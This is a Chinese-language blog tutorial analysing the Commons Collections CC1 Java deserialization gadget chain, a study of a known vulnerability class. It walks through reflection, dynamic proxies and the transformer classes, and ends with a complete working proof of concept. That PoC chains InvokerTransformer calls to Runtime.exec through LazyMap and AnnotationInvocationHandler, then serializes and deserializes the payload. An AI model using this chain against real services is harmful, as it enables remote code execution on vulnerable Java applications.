美文网首页
CC1链分析

CC1链分析

作者: aaOn1y | 来源:发表于2021-12-26 13:39 被阅读0次

简介:

CC即Apache Commons Collections是Apache软件基金会的项目,Commons-Collections 试图通过提供新的接口、实现和实用程序来构建 JDK 类。有很多功能,包括: 具有每个对象的多个副本的集合的 Bag 接口 BidiMap 接口,用于可以从值到键以及从键到值查找的地图 MapIterator 接口提供简单快速的地图迭代 转换装饰器,在每个对象被添加到集合时改变它 使多个集合看起来像一个的复合集合 添加保留顺序元素的有序映射和集合,包括基于 LRU 的映射 允许在严格控制下对键和/或值进行垃圾收集的参考映射 许多比较器实现 许多迭代器实现 从数组和枚举到集合的适配器类 用于测试或创建集合的典型集合论属性的实用程序,例如并集、交集和闭包,其包结构如下:
图片.png

翻译如下:


图片.png

对于CC1链的学习,需要学习以下几个包中的类或者接口

org.apache.commons.collections (Transformer)
org.apache.commons.collections.functors (InvokerTransformer, ChainedTransformer, ConstantTransformer)
org.apache.commons.collections.map (TransformedMap,LazyMap)

在学习这些类之前需要学习java的反射机制和动态代理

反射

JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。实现发射的类都java.lang.reflect
包中


图片.png

这里主要学习通过反射获取实例对象,获取字段和执行方法,创建测试类T00LS

图片.png

创建测试类通过反射对该类进行操作
获取class对象


图片.png

获取构造方法


图片.png
获取属性
图片.png
获取方法
图片.png

实例化对象调用方法


图片.png
小问题: 当调用私有方法时会报错,需要将setAccessible设置为true才可调用
图片.png
通过反射调用java.lang.Runtime的exec执行命令,弹出计算器
图片.png

动态代理

这里只学习jdk的动态代理就够用, 动态代理利用了JDK API,动态地在内存中构建代理对象,从而实现对目标对象的代理功能。动态代理又被称为JDK代理或接口代理。Java实现动态代理是通过java.lang.reflect Proxy类和java.lang.reflect InvocationHandler接口来实现的
Proxy类中需要用到的方法为newProxyInstance:


图片.png

该类参数传入目标对象的类加载器,目标类的接口和InvocationHandler处理器,最后返回一个指定接口的代理对象


图片.png

InvocationHandler接口中用到的方法为invoke,用于处理代理对象的方法


图片.png
动态代理具体实现:
创建接口animal类,定义eat方法
图片.png

创建dog类实现animal接口


图片.png
创建动态代理对象
图片.png

创建测试类,执行成功增强了eat方法:


图片.png

Transformer

通过查看源代码,发现其为一个接口,定义了一个transform方法,没什么好分析的


图片.png

InvokerTransformer

该类继承了Transformer, Serializable接口,为Transformer的实现类同时为可序列化类,主要关注该类的构造方法和transform方法
构造方法接收方法名,参数类型和参数
methodName 接收的方法名
paramTypes 方法的参数类型
args 实际传入的方法参数


图片.png

Transform接收一个对象,采用反射的方式处理该对象,并调用该对象的方法


图片.png
这里创建一个person对象来测试该类的transform方法
图片.png
创建测试代码,可以看到执行了person类的testTransform方法:
图片.png

ConstantTransformer类

从该类的功能来看就是返回传入的类的实例


图片.png

测试代码, 比如获取person类的实例:


图片.png

ChainedTransformer类

这里主要看该类的transform方法和构造方法,通过构造方法接收Transformer类型的数组,然后通过transform方法接收一个对象,循环遍历该数组,调用数组元素的transform方法来处理object对象,并将处理结果作为参数再次传入


图片.png

组合链

前面说了InvokerTransformer类的transform方法可使用反射调用传入的对象的方法,而且对象是以参数传递进来的是可控的,所以这里我们就可以利用上面三个类来组合成一个链,
思路如下:
定义一个Transformer类型的数组,数组元素为invokerTransformer类的实例, ConstantTransformer类实例,将Transforme数组传入ChainedTransformer类的实例(构造方法),通过ChainedTransformer类的实例调用transform方法,并传入我们要处理的对象,即可触发执行invokerTransformer的transform方法执行目标类的方法
具体代码如下:
Person类 目标类,目的是通过刚才构造的链执行exec方法


图片.png

创建测试代码,成功执行person类的exec方法

图片.png

TransformedMap类

此类继承自AbstractInputCheckedMapDecorator


图片.png

AbstractInputCheckedMapDecorator又继承自AbstractMapDecorator


图片.png
AbstractMapDecorator继承自Map
图片.png

所以TransformedMap属于Map的实现类,这里主要关注该类的decorate方法和构造方法,通过构造方法传入一个map,和两个Transformer类型的key和value,通过decorate方法返回TransformedMap类的实例


图片.png
创建demo1代码进行调试
图片.png
在put方法打断点,进入到put方法,该函数用transformkey和transformValue来处理传进来的key和value,
图片.png
跟进transformkey
该函数返回key,如果key为空,返回object,key不为null,调用key的transform方法处理key,这里就很明显了,如果传入的key是一个对象并且存在transfrom方法,在put时就会自动调用该类的方法,上面我们分析的那条链正好可以用
图片.png

测试代码如下(目的还是执行person类的exec方法):


图片.png
创建demo2代码进行调试
图片.png
在setValue出打断点,进入setValue方法,该方法调用了checkSetvalue方法来处理传入的value值
图片.png
跟进checkSetValue,该方法调用了TransformaedMap类的valueTransformer属性的transform属性来处理value
图片.png
valueTransformer属性的值则为我们传进来的chainedTransformer利用链
图片.png
图片.png
所以这里即触发了chainedTransformer利用链的transform方法

LazyMap类

LazyMap也是继承了map接口和Serializable接口,这里主要看该类的decorate方法,构造方法和get方法。
先看构造方法,传入一个map和Transformer对象,如果Transformer对象不为空,则赋值给factory属性


图片.png

decorate方法,返回传入的Transformer对象


图片.png
get方法,判断map对象中是否存在key,如果不存在则调用Transformer对象的transform方法来处理key,这里就和TransforMap一样了,可把利用链传入来执行对象的方法
图片.png
测试代码,执行了person类的exec方法:
图片.png

AnnotationInvocationHandler类+LazyMap类

前面说了LazyMap的get方法的特性,但是手工触发的该方法,要想自动触发就得找一个类该类存在调用get方法的属性或者对象是可控的并且得实现Serializable接口来进行序列化操作,重写了readobject方法(这也是反序列化漏洞产生的前提条件)。

AnnotationInvocationHandler类完美的符合上述的所有条件,来看一下该类,实现了
InvocationHandler, Serializable两个接口,说明该类是可序列化的动态代理类


图片.png

接下来找该类的哪些属性调用了get方法,通过查找该类的invoke方法中,memberValue属性调用了get方法


图片.png
图片.png
接着跟踪memberValues属性,为该类的构造器传入的Map对象的值(可控制),这里就可以完美的传入构造好的LazyMap的对象
图片.png

前面说了AnnotationInvocationHandler类继承了InvocationHandler接口,所以该类为动态代理类,动态代理类使用来赠强被代理对象的,也就是说,在代理类执行被代理类的方法时会自动执行invoke方法,这个前面动态代理学习的时候可以看到,这个时候在来看重写的readObject方法,这里有一段代码,在反序列化的时候会执行这段代码这个是肯定的


图片.png
前面也说了memberValues属性是可控的,所以如果这里传入的是动态代理对象,该对象执行entrySet()方法时就会自动触发Invoke方法,从而触发反序列化执行命令,这里根据前面的步骤来构造POC:
  public void t13() throws Exception{
        //定义Transformer数组,因为
       Transformer[] trans = new Transformer[]{
               new ConstantTransformer(Runtime.class),
               new InvokerTransformer("getMethod", new Class[]{
                       String.class, Class[].class}, new Object[]{
                       "getRuntime", new Class[0]}),
               new InvokerTransformer("invoke", new Class[]{
                       Object.class, Object[].class}, new Object[]{
                       null, new Object[0]}),
               new InvokerTransformer("exec", new Class[]{String.class},
                       new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
       };
       //将数组传入ChainedTransformer返回组合链
       Transformer transformerChain = new ChainedTransformer(trans);
       HashMap hashMap = new HashMap();
       //获取LazyMap对象
       Map decorate = LazyMap.decorate(hashMap, transformerChain);
       //AnnotationInvocationHandler类为jdk内置类无法直接方法问可通过反射进行方法
       Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
       //获取构造器
       Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
       //设置访问权限,该类的构造器非public权限
       declaredConstructor.setAccessible(true);
       //实例化对象,传入被代理对象LazyMap
       InvocationHandler o = (InvocationHandler)declaredConstructor.newInstance(Target.class, decorate);
       //创建代理对象O1 Map类型
       Map o1 =(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),decorate.getClass().getInterfaces(),o);
       //将代理对象o1传入AnnotationInvocationHandler构造器,生成新的对象为InvocationHandler类型
       InvocationHandler o2 =(InvocationHandler) declaredConstructor.newInstance(Target.class, o1);

       //序列化该对象
      FileOutputStream file = new FileOutputStream("poc.ser");
       ObjectOutputStream objectOutputStream = new ObjectOutputStream(file);
       objectOutputStream.writeObject(o2);

       //反序列化
       FileInputStream file1 = new FileInputStream("poc.ser");
       ObjectInputStream objectInputStream = new ObjectInputStream(file1);
       objectInputStream.readObject();



   }

执行该poc成功弹出计算器


图片.png

几个小问题:
(1) POC实例化对象时传入的Target.class是什么
跟进该对象,源代码如下,查阅资料得知为java的元注解,所以该类的字节码文件为Annotation类型


图片.png

那么为什么要传入Annotation类型,查看AnnotationInvocationHandler类的构造函数可得知为参数要求


图片.png

Java的元注解共有4个,所以使用哪个都行,不一定用Target


图片.png
(2) Poc 中 tarnsformer为什么写Runtime.class?

这里来单独看一下,贴下完整数组代码

  Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };

先来看第一个元素,传入Runtime.class,因为Runtime未继承Serializable接口是不能进行序列化的


图片.png

所以这里得通过反射来获取该对象是可以进行序列化的,测试通过


图片.png

相关文章

网友评论

      本文标题:CC1链分析

      本文链接:https://www.haomeiwen.com/subject/yndsqrtx.html